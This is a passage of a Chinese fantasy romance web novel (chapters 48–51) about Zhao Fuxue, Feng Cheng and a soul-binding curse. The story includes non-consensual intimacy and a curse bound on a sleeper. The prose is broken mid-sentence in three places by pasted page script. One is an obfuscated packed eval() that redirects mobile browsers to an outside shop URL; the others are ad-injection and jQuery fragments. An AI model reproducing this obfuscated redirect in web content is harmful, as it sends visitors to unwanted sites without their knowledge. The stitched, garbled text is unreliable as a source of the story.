封澄看起来不太清醒,赵负雪敏锐地察觉到此,心中暗道:“身上这么热,难怪要用冷水泡着——嘶?” 他抬手要摘白布,不料手刚抬起,便被一只滚烫的手抓住。 封澄靠近了。 她紧紧地抓着他的手腕,脸几乎凑在了他的鼻尖前,赵负雪感觉到封澄的鼻息扑在脸上,热热的,弄得他也跟着一起热起来。 许是因这白布的缘故,她的脸并不清晰,朦朦胧胧,昏昏沉沉。 可赵负雪却莫名觉得,封澄在盯着他。 裸漏在外面的,是喉咙,还有心口。 要害之处。 他想到了被头狼盯上的猎物,忽然觉得喉咙处有些紧。 偏偏此时,浴房中的烛火陡然熄了——想必是封澄来得匆忙,只点了个残烛,烧尽了。 浴房内一时间漆黑,唯有月色透窗而来,将将勾勒二人身影。 赵负雪的视线更昏暗了。 视觉受阻,其余四感却叫嚣着、蔓延着放大。 封澄压在他身上,身上的香气笼着他,令人避无可避,她的手慢慢地停在了赵负雪的脖颈处,滚烫。 赵负雪忽地口干舌燥起来,他垂眸,沉吟片刻,手蓦地抓住了封澄的手。 他的唇角勾起个似有似无的笑意。 月色水光落在他身上,赵负雪一只手支在浴池中,另一只手抓住封澄的手,他的身上白衣已然被水浸透,隐隐贴在他的身体上,露出些引人遐想的线条。 他的双目被白色布条蒙着,墨发披下去,发尾浸在水中,这张脸本该俊美如谪仙,可此时此刻,却像是人间饱饮凡情的妖孽。 封澄的体温极高,夏日本就衣衫轻薄,此时二人的体温更是顺着沾湿的衣物透来。 这事可不妙了,他心想。 他缓声道:“封澄。” 封澄似乎偏了偏头。 赵负雪将她的手紧了紧:“你还清醒吗?” 封澄不回答,赵负雪感觉她的视线在他身上来回梭巡,正当他疑惑封澄想要做什么时,喉咙却忽然一痛。 她咬了上来。 唇舌高热,连带着他流出的血液也跟着滚烫起来,赵负雪瞳孔骤然紧缩,他失神地仰着头,被蒙住的双目一片空白。 砰砰,砰砰。 封澄的心跳声紧紧地贴着他的心跳。 她心跳很快,几乎震得他胸口生疼。 封澄的犬齿很尖,她咬人大概是不高兴,并不是什么血修的本性。赵负雪坐在冰冷的浴池中缓过神来,咬咬牙,正要拉开封澄,她却自己松了嘴。 赵负雪微微睁大了眼睛。 忽然间,封澄凑到他喉咙的伤口上,小心翼翼地吮了一下。 在她高热且柔软的吻触上他的脖颈时,赵负雪扶在浴池边的五指霎时捏紧,一声迸裂,这浴池的边缘竟被硬生生掰下来了一小块。 “你知道自己在做什么吗?”赵负雪的喉咙已经有些哑了。 这冰冷水温并未将二人攀升的体温阻止分毫,封澄松了嘴,双手攀在赵负雪的肩上,居高临下地看着她,轻轻歪了歪头。 赵负雪的耐心很好,他的身体已经热得要命,偏生他看向封澄的目光依旧冷静。 月色铺在他谪仙似的面容上,封澄坐在他身上,静静地沉默了片刻,赵负雪隔着朦胧的白布与她对视,片刻,缓了口气,忍耐道:“我是谁?” 这一句话却好像骤然点醒了封澄一般,赵负雪感觉到她的手轻轻地落在了他的双目之上,然后毫不犹豫地,抓下了蒙在他双目上的白布。 赵负雪终于能够与封澄对视。 今夜的封澄毫无疑问是不对劲的,赵负雪借着月光,看了她那双幽深双目中的竖瞳,她危险地眯了眯眼睛,双手将他面上的白布轻柔向下拉动。 缱绻无比,如同情人之间的呢喃。 赵负雪定定地看着她,道:“你还认得我吗?” 封澄双手捧着他的脸,终于给了他今夜第一个回应。 “嗯。” 能说话了,看来是忽然清醒了,赵负雪松了一口气,心底却又说不清道不明地有些失落,他下意识地扶了扶浴池,强行逼自己从热意中解脱出来:“既然醒了,就不要……” 封澄猝然封住了他的话。 她捧着赵负雪的脸,压在他身上,高热的唇压着他的,碾上去,紧紧贴着,不待赵负雪反应,她便微微松开了唇。 这动作说不上轻柔,说不上美妙,甚至说是有些野蛮和鲁莽的。 赵负雪傻在了原地。 他下意识地摸了摸自己的唇,上面的湿意毫无疑问地昭示着方才发生的一切。 许是不满意他的愕然,封澄盯着他看了看,又吻了上去。 这个吻的触觉确凿无疑,她的唇高热又柔软,贴上来时扑来水气与封澄身上的香气,封澄对吻的理解似乎就只停在了这一步,她凑上来贴了贴,磨了磨,便失去了兴趣,又想要离开。 陡然间,赵负雪扣住了她的后脑。 他的吻带着凶横的侵略意味,仿佛撬开了一只柔软的贝一样敲开了封澄的齿关,封澄呜呜两声,挣扎起来,赵负雪却管不得这么多了,他追着柔软的贝肉,哪怕封澄几度捶打,他仍不放开。 不会接吻的人不止她一个,赵负雪想,可是情至关头,清醒些的人,总是比糊涂的人更容易沉沦。 他吻得凶狠又蛮横,仿佛要就此地老天荒,终于封澄脸酸,忍不住动了牙齿,这利齿划穿皮肉轻而易举,更何况是柔软的唇舌,二人的吻中霎时掺杂了血腥之气, 舌尖的痛觉终于将赵负雪堪堪拉回了神,他闭着眼睛,不敢去想封澄是清醒的还是糊涂的。 封澄明明可以一上来便咬,何必等到此时。 她在纵容吗? 想到这个可能的赵负雪只觉得一重一重的花火竞相放在了自己的面前,他松开封澄,又轻轻地吻了吻她——温和的轻贴,并未有半分方才的凶横。 是忐忑的试探,亦或者反客为主的邀请。 封澄轻轻喘了口气,随即攀上他的肩,毫不犹豫地回吻了过来。 赵负雪猛地睁大了眼睛,瞳孔剧烈紧缩,他不敢置信,直到封澄拙劣地模仿着他的模样,开始尝试撬开他的齿关时,赵负雪才回过神来,他放任着封澄像只好学的小兽一般肆意探索,直到她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13750229|138974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吻够了,退出去,才轻轻按着她的后颈,道:“我们出去。” 浴池不够大,冷水也伤身,赵负雪并不打算在今夜做些什么——今夜太仓促太唐突,且封澄还是半清醒半糊涂的。 到这里为止,便可。 封澄乖乖地蜷在了他的怀中,任他抱了出去,她的衣物与方才分别时无二——想必是一回客栈,便毫不犹豫地跳进了浴池中。 她好像困了,蜷在他怀中打了个哈欠,赵负雪哑然失笑,轻轻地吻了吻封澄的额头。 今夜仿佛是一场幻梦,他心底被巨大的喜悦所充盈——如果世间所有的幻梦都是这般模样,他宁愿永不清醒。 没有什么事情,是与心悦之人心意相通更为重要了。赵负雪这般想着, 回赵府之后,就筹备订婚的事情。 赵负雪为封澄除去湿漉漉的外衣,然后起身出去,片刻,取回两套干净整洁的衣物。 封澄中衣也是湿的,见赵负雪动作,她勉强睁开一只困倦的眼睛,迷惑道:“……做什么?” 赵负雪已换了自己的衣物,他耐心道:“衣服湿着,不能这么睡。” 封澄有些茫然地看着他,这个表情令赵负雪有些失笑,他轻轻地凑上前去,啄吻:“你若这般睡,明日晨起要头疼了。” 屋中昏暗,封澄眨了眨眼睛,似乎不太舒服。 他起身去五斗柜前取了烛来,点上照明。 她坐在榻上,眯着眼睛看赵负雪的背影:“……是什么时候,能站起来的。” 这句话没头没脑,赵负雪还沉浸在方才的狂喜里,一时间竟没觉什么不对,只笑道:“你若不压我身上,我一直都能站起来。” 谁料封澄听到这句话,却狠狠地摇了摇头:“不对……不对。” 见封澄纠结地思考了起来,赵负雪也笑了,他轻车熟路地取出封澄带在身上的药,点起了药炉:“即便不对也留到明天去想吧,先吃药。” 那边传来细细碎碎的声音,赵负雪背对着封澄,心知她大抵是在换衣服。 片刻,药好了,赵负雪将药端出来,送到了封澄的床前,果然,她已换下了湿漉漉的中衣,穿上了干净柔软的衣服。 赵负雪一见她,心中便胀得发酸,他轻轻靠过去,二人呼吸交缠,片刻,他又轻轻地吻了过去。 封澄皱了皱眉,却未推开他。 良久,赵负雪松开她,看着封澄一勺一勺地将药喝下去。 说来也怪,封澄在他面前从未这般老实过。 在古安时,次次喂药都要搞得鸡飞狗跳。而今日却一句也不说,一句也不问,只要他端来,她便毫不犹豫地喝。 封澄喝完药,将药碗放在了榻边,赵负雪定定地看着她,眉眼含笑。 “苦不苦,”他的手心藏着蜜饯,“猜猜在哪只手里。” 封澄看向他,困惑地眨了眨眼睛。 “师尊,”她道,“我不是小孩子了。” 此言一出,四周霎时一片寂静。 赵负雪浑身的血霎时变得冰凉彻骨,他手指一松,左手蜜饯掉在地上,咕噜噜滚远了。 “……我是谁?”赵负雪强撑镇定。 “师尊。”封澄笑了笑,“右手里是不是还有?” 赵负雪清楚地听到了心头的碎裂之声,他站起身来,忽然感觉魂魄似乎都不在体内了。 她认错人了。 49. 第 49 章 大起大落的冲击令赵负雪的头一次生出了落荒而逃的冲动。 温不戒的药十分管用,封澄喝下药后,困倦地蜷缩在床上,没心没肺地睡着了。 “师尊。”赵负雪的目光死死地锁在了封澄的身上,他念着这两个字眼,头一次恨不得自己不能把它们吞下去嚼了。 他并不是第一次听到这个人。 早在古安天机所,二人初见那日,封澄毫不犹豫地走进海洛斯设好的魔窟中时,这个人便插在了他与封澄中间。 “混蛋,”赵负雪的手不知不觉地绕到了封澄的发上,她的头发很软,绕指如流水,他却恨得咬牙切齿,“始乱终弃、没心没肝的混蛋,这种事也能认错!” 室内一灯如豆,幽幽颤颤,赵负雪伏在封澄榻边,半响,突然咬着牙笑了。 “认错了也不能抵赖。”他心道,“管你心里是什么人,总归今夜意乱情迷的对象,是我。” *** 夜里梆子敲了不止多少回,赵年将最后一笔账报上后,已是寅时。 周寻芳点了点头,道:“明日将账本备好,再将齐遥口供整理一份,一齐送进宫里去——临走时将烛火熄了。” 她已是几百岁的修士了,随着年岁的增长,她几乎不需要睡眠了。 可今夜,周寻芳却莫名想睡一觉。 兴许是那年轻莽撞的丫头撞得她有些头晕。 赵年有几分讶异,她并未多言,只是起身行礼道:“是,徒儿先行告退。” 周寻芳点了点头,正要合上眼睛,却听外面房门传来轻轻几声叩门,紧接着便是赵负雪的声音:“祖母,孙儿有要事求见。” 他平素鲜少有什么需要求见周寻芳的要事,更何况是深更半夜,周寻芳睁开眼,与赵年交换了一个视线,皆在对方目中读出了几分愕然。 周寻芳道:“进来。” 赵负雪推门而入,行至内室,站在了周寻芳的面前。 周寻芳皱皱眉打量他,只见他虽是看起来整齐,头发却是有些湿意,身上的衣服竟也不是赵家的东西——不光周寻芳了,连赵年也皱起了眉。 赵年道:“少家主,这深更半夜的,你有什么要事?” 赵负雪这才看到一旁站着的赵年,他微微一怔,随即行了个礼道:“院长。” 周寻芳摇摇头:“可是齐遥那边出了问题?” 赵负雪笑了笑,摇摇头:“并非齐遥出事。” 想来也是,区区一个血修,哪里会让赵负雪深夜造访。 于是周寻芳倒好奇了起来,赵年忙取来软枕扶她半坐起来:“说。” 赵负雪道:“我所前来,是为了要生死咒。” 听闻此话,周寻芳微微地眯了眯眼,哦了一声:“阿雪,我不问你今夜要生死咒做何用,我只与你说一句,按理来说,我赵家此咒,是要在大婚之仪上,三拜后而结的。” 赵负雪道:“是,所以我此次来,不是要整个咒……只要一半。” 凡咒之施加,必有媒介,赵家生死咒也不例外。 此咒为一条红线,一对指环。 红线生心头,指环携手。 赵负雪所言一半,倒也容易理解,只要成咒之时,一方不戴指环,这“指环携手”便是不成的。 来生转世,卷入前缘、独自沦亡者,唯成咒之时,痴心错付之人。 堪称自投罗网。 周寻芳竟然笑了:“……半边生死咒,从赵家建族以来,不过三人动用,无一善终,皆为孽缘,阿雪,你疯了。” 赵负雪的神色有些晦暗不明:“求祖母允我。” 周寻芳沉吟片刻:“阿雪,你从前从未求过我什么,若你开口,我无法不允你。” 她转过头,对赵年道:“去家庙中,把咒取来。” 赵年怔在原地,周寻芳瞥了她一眼,道:“去。” 从赵年个人的理性和经验来看,周寻芳和赵负雪今夜都疯了,而出于她对周寻芳全然的信任,她确认今夜疯了的人只有赵负雪,她一言难尽地看了一眼这位年轻的少家主,转身便出了房门,向家庙走去。 屋内寂静无声,祖孙二人一人半躺,一人半跪,皆默默不语。 “那小丫头?”周寻芳突然道。 “是。” “为何不去求娶?” “她心有旁人。” 周寻芳微微睁大了眼睛,她重新将赵负雪审视了个遍,赵负雪岿然不动,任她审视。 赵负雪曾是她最为骄傲,也最为担忧的后辈。 他于修道一途,堪称不世出之天才,为人守德正道,风骨天成,她从前只担忧过赵负雪性子冷清,怕是将独守孤寂,却绝未担忧过赵负雪的道德问题。 今夜,周寻芳不由得怀疑起了对赵负雪的道德教育。 “她心有旁人,你还死缠烂打,生生将自己捆上?” “那人绝非良配。” 周寻芳突然便头疼了:“你见过?” 赵负雪垂眸,片刻,道:“没,但绝非良配。” 周寻芳:“……” 她一时之间不知道说什么好,思来想去,只好叹了口气。 正在此时,赵年敲了敲屋门,随即取了一只锦盒进来,她谨慎地端着锦盒,面向周寻芳道:“老尊者,东西取来了。” 周寻芳打开锦盒,正要取出其中一枚指环,想了想,却又放了回去。 “生死咒,便在这里了。”她将锦盒递给赵负雪。 赵负雪抬手接过锦盒,微微一怔:“祖母……” 周寻芳摆摆手:“生死咒,从没有半副半副取出来的道理,你自留好另一枚指环,若她将来回心转意,尚可转圜余地。” 赵负雪将锦盒收入怀中,肃然向周寻芳行了个大礼,转身,向夜空中去。 见赵负雪远去,赵年忧心忡忡道:“老尊者,少家主这咒下去……” 周寻芳摇摇头,笑了:“不妨事。” 赵年疑惑了:“徒儿不解,还请师尊解惑。” 此时的天已隐隐明了,想要打盹也是不能够了,周寻芳索性从榻上起身,慢慢地开始穿戴起来:“生死咒两物,分别为何?” 赵年毫不犹豫答道:“心头红线,指上契环。” “这便是了,”周寻芳笑了,“那丫头心有所属,心头红线便牵不上,即便是拿了指环又如何 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ?心头红线不认二心之人,二人没有情分,哪怕是十指都套了契环,咒也成不了。” 想到这里,她倒是有些怅然了:“红线有灵,寻常恩爱一生的夫妻,牵不上的也并不在少数——世间将就之人不少,若未存生生世世相依的不渝情谊,赵家生死咒又岂自作主张地将人绑在一起?” 赵年恍然大悟,她点了点头,道:“老尊者果然高明,如此一来,少家主便知难而退了。” 周寻芳穿戴毕,道:“……今夜本想小睡,不料这一个两个的都不让人清净,走吧,去茶室静一静,姜家人便该到了。” *** 赵负雪又翻进了来顺客栈中。 夜间在此的老板已趁机回去补个黎明觉了,此时留在外面的是直打哈欠的几个年轻伙计,他见着赵负雪,热情道:“公子又来候着啊?还是像往常那样,糖包,甜汤,再加几碟小菜?” 赵负雪道:“今日不必,她不在这儿用膳。” 说着,他便头也不回地向着封澄的房门走去。 伙计看着赵负雪的背影,惊得上去便要拦,夜里值班的另一伙计上去便抓住他:“封姑娘早给这公子录了名牌的,你拦什么?” 屋内寂静,唯有封澄睡得酣然,赵负雪背身将门合上,他定定地看着封澄,从怀中取出了锦盒。 年幼时观礼,他知晓这红线的用法,赵负雪走向封澄,坐在她的榻边。 他一手执锦盒,一手轻轻地抚上她的脸颊。 虽脸上有些热的,但已不像方才高温,温不戒的药倒是生效,赵负雪的手爬过她的脸颊,随即轻柔地落在了她的双眼上。 她的长睫垂着,似乎被他摸得有些痒了,封澄唔了一声,有些恼地把脸埋进软枕中。 像个毛茸茸的小动物,赵负雪哑然失笑。 封澄睡得很沉,赵负雪将她右手托起,小心翼翼地取出红线。 红线的红色莹润,好似上好的玉石,赵负雪细心又小心,轻柔地用红线在她腕间绕了三圈。 它乖乖地呆在了封澄的手腕。 赵负雪知道,等另一端系到自己的手腕上时,心头红线便成了。 指环素净,已锁在了他的指上。 一圈,两圈。 赵负雪数着,睡梦中的封澄似乎觉得有些别扭,她唔了一声,系着红线的手微微一动,好似察觉到舒适的温度一样,不由分说地扣住了赵负雪的手。 红线痴缠,缱绻无比。 他眸光微动。 “不用这么急,”他小声道,“从今天往后,我就是你的人了。” 三圈红线落腕,二人的腕间浮起淡淡红光,这红光颜色如玉,映得二人交缠的手也微微泛红。 赵负雪静静地看着这条红线。 砰然一声,红线消散。 他微微一怔。 红线呢? 室内寂静无声,无一光源,原本荧荧的红线也消失不见。 他有些迷惑,忽然间,心口传来温泉似的热源。 赵负雪垂眸,手轻轻地抚在了胸口,随即抬眼,看向封澄的胸口。 她的胸口浮现一根红线,另一端牵在他的心头。 50. 第 50 章 次日天光大好,封澄头痛欲裂、昏昏沉沉地睁开眼睛,只觉得一根钉锤在脑中来回搅动。 封澄正要坐起身,不料手却是一滞,封澄心头一跳,僵硬且迟缓地转过头去。 目光停在二人相扣的手上。 再一抬头,正对上赵负雪面无表情的俊脸。 刹那间封澄魂飞魄散,连忙甩道:“我我我我睡相不好,不是故意的!……赵公子,你怎么会在这儿?” 她的记忆只截止在昨夜拒绝了赵负雪一起当王八的请求,然后转头奔到来顺客栈,一头扎进浴池里泡着。 不料赵负雪听到这话,脸上出现了堪称扭曲的表情。 封澄看见他磨了磨牙,随即咬牙切齿地逼近过来:“……你不记得了?!” 封澄向后挪了挪,小心翼翼地觑着他:“记得什么?” 赵负雪闭了闭眼,随即猛地起身,动作幅度之大,险些让封澄的鼻子被吹飞,她看着赵负雪表情扭曲地在原地转了转,似想拂袖而去,几番咬牙才回过头,恨恨道。 “混蛋……!” 说完这句话,赵负雪便风一样摔门而去了,独留封澄在榻上一脸茫然,她指指自己:“……混蛋?” 她干什么了? 不料还没等封澄琢磨出个所以然来,房门又被砰地一声推开了,赵负雪黑着脸道:“……赵家已为你收拾出了客房,是老尊者的意思,不许住客栈。” 封澄听了却愣了愣,她起身来,道:“可我要回古安几日。” 赵负雪回过身来,定定地看着她,半晌,道:“古安事情已定,回去做什么?” 心中只想着他胸口的见素伤痕,沉吟片刻,封澄抬头道:“不太方便,这些事情等我日后再向你解释。” 同一时空内出现两个赵负雪这种猜测实在过于诡异,其中一个把另一个捅了又是诡异中的诡异,而且—— 封澄看了看赵负雪。 如果就连她都能从一道伤痕中发觉出那男鬼身份的蛛丝马迹,那么正面与他交手的赵负雪,当真会一无所觉吗? “去多久?” “归期不定。” 赵负雪定定地看着她,忽然便笑了。 “随你。”他转身便要离去。 封澄却忽然唤住他。 “指环很好看,”她道,“之前从未见你戴过。” 赵负雪背对着她,咬了咬牙,拂袖而去。 他一走,偌大的屋子霎时有些空荡,封澄仰面把自己放倒在榻上,疲倦地闭上了眼睛。 她忽然记起,这枚指环,在之后的赵负雪、她的师尊手上,也有一枚。 *** 封澄被关的第一日,灿阳高照,她百无聊赖地瘫在鸣霄室,片刻,无聊地大叫起来。 “有没有人,有没有人!有没有人给我松松绑!” 当然是不会任何人回应她的,鸣霄室是整个天机院中最为僻静的地方,平常修士就算是赶着上课,也会小心翼翼地绕开这鸣霄室。 这院子安静得要命,除了院中一棵格外茂盛的桃树有些细细碎碎的声响,什么声音都没有。 封澄手脚俱缚,蚕蛹一样在地上滚了滚,抬起眼来,漫无目的地想:“这臭拐子要把我关到什么时候?” 就这么想着时,忽然门动了,随即大门敞开,封澄像个蚕蛹一样摊在地上,费劲地仰起头,眯着眼打量着背光而入的人。 那人坐着轮椅,手上一枚指环在日光下反射出有些刺目的光,墨发未束,披在身后,他容颜如玉,却冰冷苍白,居高临下地看着扭成一团的封澄,一时间,空气中弥漫着极为诡异的沉默。 他垂眸看了看封澄:“为何在这。” 封澄看着这拐子,气不打一处来,一个鲤鱼打挺蹦起来:“你还好意思说,难道不是你派人把我捆在这里的!” 赵负雪:“我的意思是,你本该在内室。” 从内室到门口,是一段相当长的距离,赵负雪垂眸看去,只见内室大门敞开,内里一片狼藉,光凭肉眼可见的,便是稀里哗啦一地瓷器碎片,外面更甚,连书架上的典籍都滚落在地上。 好端端的鸣霄室,硬是一片狼藉。 “为什么要关我,”封澄道,“我不是拜师了吗?为何还要关我。” 赵负雪淡淡道:“若是想死,尽管出去。” 封澄拜入他赵负雪门下后,姜家死士绝不敢在明面上对她动手,可世上从不缺阴损手段,姜家身为天子近臣,见不得光的手段只会更多,且无孔不入。 阴一个几乎没有灵力的小丫头,不比碾一只蚂蚁困难些。 即便不敢杀,废她一只胳膊腿、断几条经脉,也够毁了这鲁莽傻子。 不怕一万,只怕万一。 他静静地审视着捆成蚕蛹的封澄,道:“从今日起,引气入体。未经许可,不可出门。” 封澄登时炸了毛:“你还真是拐子啊!不经你允许出不了门,你好大威风,拿嘴皮子绑我?!” 她只恨自己怎么就喝多了马奶酒昏了头,怎么就跟着这个看起来是好人的美人儿跑到了洛京这种诡异地方,这下可好,不光被关在冷冰冰的屋子里,还被按着头开始修炼了! 那教书老头儿说过什么来者……色令智昏? 诚不欺我。 她阿翁阿嬷都管不着她修炼! 长煌大原认拳头,认刀子,若是和那群傻修士一样慢腾腾地引气念阵,符还没丢出去就被人抹脖子了。 “不练,”封澄不耐烦道,“戏演完了,玉佩还你,放我走——你收不着徒弟了吗?还得千里迢迢去拐一个。” 说着,她便双脚着地,一蹦一蹦地要出去,赵负雪静静地看着她往外蹦,在她即将蹦出门时,一挥手。 门贴着封澄的鼻子尖,啪地关上了。 封澄:“……” 她双目瞪得溜圆,勃然大怒:“你什么人啊!” 赵负雪却平静道:“为何不修道。” 封澄挑挑眉,往门上一倚:“这还用说?你们修道念咒的打不过我呗……何况我又不要什么长生,活久了多累。” 赵负雪静静地看着她。 平心而论,她的话说得似乎不错。 与她同龄的姜徵,已是世间少有之修行奇才,刀法师从名家,灵器也是国手所 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 铸,不说旁人,就说天机院这群天之骄子,对上姜徵,也毫无胜算。 可在几乎没有灵力的封澄面前,她几个来回,便被锁了命门。 姜家之逼迫,一是因封澄险些杀了姜徵,二则是封澄其人,来路不明,立场不明,却如横空出世之利刃,猝不及防便杀在了暗流涌动的洛京上。 封澄见他沉默,翘了翘嘴角,好言相劝道:“强扭的瓜不甜,你我虽没有师徒的缘分,但是可以交个朋友……往后你去长煌大原,我请你喝酒。” 赵负雪垂眸,片刻,扬手挥开了门,随即封澄一身绳索落地,她心道这厮总算能听懂人话了,不料赵负雪忽然道:“试试。” 封澄:“……?” 赵负雪抚着手上指环,平静道:“修道之人,最忌自大,动手。” 封澄当即睁大了眼,她指指自己,又指指赵负雪,难以置信道:“你要和我打?” 赵负雪身下可还有存在感异常鲜明的轮椅,封澄当即狠狠摇头,连连拒绝道:“不要,这不是欺负人吗,这种事我平生都没做过。” 封澄心中绝不服气,昨日被这人所擒,是因她毫无防备,且当时事态紧急。否则一对一正面打上,鹿死谁手还未可知。 赵负雪道:“走过三招,放你出去。” 这人还没打算放她走! 封澄咬牙笑了,她挑了挑眉,捏得指节咔咔响:“行,这可是你自找的——我推你出去,还是你自己摇出去?” 赵负雪看着她。 片刻,他面无表情地从轮椅上站了起来,走到了院中。 封澄的动作僵在半空:“……” 你一个好端端的人坐什么轮椅! 所幸赵负雪道:“身体不便,速战速决,见谅。” 好一个速战速决,三招已是看不起她,速战速决更是火上浇油,封澄连犹豫都不犹豫,毫不犹豫地便疾掠过去,一记扫堂腿便直攻赵负雪下盘。 习武之人,最忌下盘不稳,封澄从不是什么打起架来还翩翩君子的好人,猛踹瘸子那条好腿是所有人都知道的道理。 更何况这人还没条好腿。 见封澄动作,赵负雪一时有些无言。 不知该说她行事果断好,还是说她勇往直前好。 封澄的扫堂腿还未落实,却见赵负雪鬼魅似的闪身,猛地来到了她的身后,抬手便向她后心而去,封澄背后却仿佛长了眼睛,好似早就预料一样避开这一击,赵负雪挑了挑眉,封澄大笑道:“一招了!” 紧接着,封澄便抬脚,向着赵负雪两腿中而踹去。 打人要打眼,掏人要掏裆,封澄深谙街头斗殴的真谛,果然,赵负雪脸色都变了,他极快抓住封澄闪电似踹来的脚,从来都不见起伏的声音中忽然便添了几分急促:“……你跟谁学的打架!” 封澄一笑,旋身踢去,挣脱了赵负雪的桎梏,她落于稍远处,歪头笑道:“人教人教不会,事教人一次就会——经验呗。” 她到底是什么流氓。 赵负雪头一次怀疑起了周寻芳的临终之言——连天机师大能都束手无措的反咒,当真能被这毫无灵力的流氓破开吗? 51. 第 51 章 第二招不成,封澄忽然蹲下,赵负雪这才看到,她已退到了院中桃树边。 养护这桃树的花匠想必是十分细心的,上面半片落叶也没有,泥土上盖着一层干净的新沙。 刹那间,赵负雪福至心灵地意识到封澄第三招是什么了。 封澄手中早握了一把沙,飞也似贴近赵负雪,抬手一把扬过去,随即毫不犹豫,掉头就跑。 开玩笑,谁会和他没完没了地打下去?放她出来了还想等她规规矩矩地和他过招?想得美。 扫堂腿,撩阴脚,扬沙手。 赵负雪额上隐隐有青筋爆出,他的心中有分外陌生的情绪从空茫死水般的心中破土而出。 在许久之后,他才会意识到,这分外陌生的情绪原来名为无语。 眼看着象征自由的院墙近在眼前,封澄大喜过望,谁料前脚还未触到院墙片瓦,后颈上却传来一道巨大力道,她两眼一黑,随即被这诡异之力捏起,啪地摔在了庭院中。 这一摔摔得她眼冒金星,少说肋骨断了两根,封澄呲牙咧嘴地趴在地上,咬牙切齿:“……再来!” 赵负雪的发丝也未乱分毫,他居高临下地走到打着滚的封澄面前,道:“不必逞强。” 封澄又要乱叫,赵负雪却静静地擒住她手腕,登时封澄便被呲牙咧嘴地拉开了。 她仰面朝天,不住挣扎。赵负雪低头摸了摸她肋下,皱皱眉道:“肋骨断了。” 封澄当即就想骂人了。 赵负雪目光平静,好像打断封澄肋骨的人不是他一样,他将手抬起,捻了一只鸟儿,那鸟儿从他指尖飞掠而走,封澄登时眼睛溜圆,连哀嚎着叫痛也顾不上了。 赵负雪道:“医好,明日再打,打服为止。” 封澄:“……” 封澄身心俱疲,一点儿也不想和修士打架了,她向后一仰:“我问一句,为何非和我过不去?我没钱没权,即便你把我绑走,也只能去长煌大原换一袋沙子回来,何苦?” 赵负雪垂眸看着她,片刻,收回了手。 “你要什么,”他道,“我都给你。” 这句堪比放屁,封澄气道:“我是这个意思吗?我要你放我出去,你能给吗?” 赵负雪敛眸,站起身来,衣不染尘。 “撑过三招,再议。” 封澄恨不得咬死他。 这鸟儿飞出去片刻,便有人敲敲院门,声音中带着些轻佻的笑意:“赵师兄,好久不见?” 封澄翘着脖颈去看,只见来者穿一身青衣,腰间束着一只长笛,看着一副君子端方的装束,面上却半只骇人鬼面——这半只鬼面也未全然盖住面上淡红的烧伤痕迹。封澄很注意地看着她,发觉他露在外面的皮肤极为苍白,几乎苍白出了妖气。 封澄看着他面上瘢痕,片刻,移开了视线,心想:“即便是修士,也会有瘢痕吗?” 赵负雪冷冷道:“断了肋骨,来。” 那人懒懒散散走来,唇角含笑,依稀是副风流的模样:“师兄这地方千百年也没人来一趟,怎么招了只如此扑棱的麻雀?你前几日放了我鸽子,去了长煌……” 医修含笑的眼睛扫过地上封澄,话却戛然止住了。 “怎么?”赵负雪察觉到这医修的异样。 不知是不是封澄的错觉,她似乎觉得这医修的脸更白了。 半晌,他才笑道:“你从哪儿找过这一个人来?吓死我了。” 赵负雪道:“温不戒,正事。” 不知为何,封澄对这位一丘之貉的第一印象还不错。 温不戒笑了笑,随即半蹲下身来,不知灌了什么灵力,封澄登时觉得肋下不痛了,她一能站起来,当即三下五除二攀上桃树,火速离赵负雪远远的。 温不戒站起身来,瞄了一眼封澄,随即深深地看向赵负雪,确凿无疑道:“你想解反咒。” 赵负雪向堂中走去,淡淡道:“你知道——此咒施行,本非我愿。” 温不戒沉声道:“前日本该是加固反咒的日子,你却失约,去长煌大原找回这一个人来!赵负雪,若当日老尊者未施下这个反咒,你此时已不知成了什么疯魔模样……难道你非要再撞这堵南墙,揭这道旧伤不可?” 赵负雪站住了。 他抬起手来,躲在桃树上的封澄当即被他一记灵力抓来,他拎着封澄,白衣胜雪,依旧是那副谪仙降世的模样。 赵负雪并未回头。 “我不愿忘怀,”他的声音平静,“也不甘糊涂。” 说着,他便拎着封澄进了内室,徒留温不戒咬牙,一身涵养皆无,勃然大怒道:“你们赵家的反咒假的吧!什么断情绝爱七情皆无,全是假的吧!” 回答他的是一树簌簌的风声。 *** 鸡飞狗跳闹了一日后,封澄还是叫天天不应叫地地不灵地摊在了鸣霄室中。 赵负雪的鸣霄室颇为宽敞,别说住他一个人了,即便是再住上七个八个人,也是宽敞得很的,封澄在赵负雪的侧屋躺着,翘着二郎腿,咬了一口新鲜通红的果子——这果子咬起来灵气蕴然,想必是什么金贵东西。 她狠狠地吃果子,大有把赵负雪吃穷之心:“这仙人不听人话,根本没法沟通,打又打不过,理又没法说——真是岂有此理。” 这般想着,她忍不住在宽阔的榻上滚了滚,一骨碌翻起来道:“硬的不行,得来软的,万一他吃软不吃硬呢。” 她的余光瞥到了桌上果盘中,上面果子垒得整齐,看起来通红晶莹,格外喜人。 封澄捏了捏脸,强行扯出了一把笑脸,随即薅过果盘,顶着一脸如花的笑意推开了房门。 屋中冷清,毫无人气,即便是夜间也未点灯,若非她眼睛好使,险些出门便摔了,封澄走了几步,便忍不住打了个寒战,心中只奇道:“此时还是穿薄衫的时候,怎么这仙人洞府冻得像数九寒冬?” 她顺着游廊而向前走去,循着记忆走向鸣霄室的主屋,谁知还未走到主屋,便被越发骇人的寒气冻得牙齿硌硌作响,待封澄推开主屋的门,她几乎被当场冻晕了过去。 “好,好冷,”封澄心想,“这若是冻个野鸡野猪进去,十天半个月拿出来都能吃,这么冷的地方,当真能住人吗?” 她在门口捏着嗓子,一边抖一边哆嗦:“仙,仙人,您,您,睡了吗 